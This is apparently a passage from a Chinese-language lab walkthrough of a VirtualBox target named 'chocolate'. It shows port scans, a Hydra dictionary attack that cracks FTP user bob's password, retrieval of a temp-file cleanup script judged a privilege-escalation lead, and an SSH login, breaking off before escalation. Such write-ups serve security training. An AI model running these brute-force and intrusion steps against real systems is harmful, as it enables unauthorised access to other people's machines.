4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.949 seconds (131.35 hosts/sec). 4 responded ❯ export ip=192.168.60.147 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- 0day was here ♥ [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.147:22 Open 192.168.60.147:21 Open 192.168.60.147:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 19:31 CST Initiating ARP Ping Scan at 19:31 Scanning 192.168.60.147 [1 port] Completed ARP Ping Scan at 19:31, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:31 Completed Parallel DNS resolution of 1 host. at 19:31, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 19:31 Scanning 192.168.60.147 [3 ports] Discovered open port 22/tcp on 192.168.60.147 Discovered open port 21/tcp on 192.168.60.147 Discovered open port 80/tcp on 192.168.60.147 Completed SYN Stealth Scan at 19:31, 0.06s elapsed (3 total ports) Nmap scan report for 192.168.60.147 Host is up, received arp-response (0.00046s latency). Scanned at 2025-01-08 19:31:16 CST for 0s
PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:F0:C7:E6 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ hydra -l bob -P /usr/share/wordlists/rockyou.txt ftp://$ip Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-08 19:36:40 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ftp://192.168.60.147:21/ [21][ftp] host: 192.168.60.147 login: bob password: chocolate 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-08 19:36:4
❯ ftp bob@$ip Connected to 192.168.60.147. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||21262|) 150 Here comes the directory listing. -rw-r--r-- 1 1001 1001 352 May 16 2024 limpieza.sh -r-------- 1 0 0 33 May 16 2024 user.txt 226 Directory send OK. ftp> get user.txt local: user.txt remote: user.txt 229 Entering Extended Passive Mode (|||63369|) 550 Failed to open file. ftp> get limpieza.sh local: limpieza.sh remote: limpieza.sh 229 Entering Extended Passive Mode (|||59392|) 150 Opening BINARY mode data connection for limpieza.sh (352 bytes). 100% |*********************************************************************************************************| 352 265.85 KiB/s 00:00 ETA 226 Transfer complete. 352 bytes received in 00:00 (129.42 KiB/s) ftp>
fordirin"${temp_directories[@]}"; do for pattern in"${file_patterns[@]}"; do find "$dir" -type f -name "$pattern" -delete done done
echo"Archivos temporales eliminados."
遍历系统中的多个临时目录（/tmp、/var/tmp 和与当前用户相关的临时目录）。
查找这些目录中匹配指定文件模式（.tmp、.temp、.bak、.swp）的文件。
删除所有找到的匹配文件。
在开始和结束时分别打印提示信息。
正好印证了上面web获取的信息，自动清理程序
用户提权
但问题是我们咋拿到shell
同时发现这个ftp用户也可以登入上ssh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
❯ ssh bob@$ip The authenticity of host '192.168.60.147 (192.168.60.147)' can't be established. ED25519 key fingerprint is SHA256:d+b+JzmZGkN9nhLEz9cgbjCNit44x/YzVyQylzU82RQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.147' (ED25519) to the list of known hosts. bob@192.168.60.147's password: Linux chocolate 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. bob@chocolate:~$ ls limpieza.sh user.txt bob@chocolate:~$ cat user.txt cat: user.txt: Permiso denegado
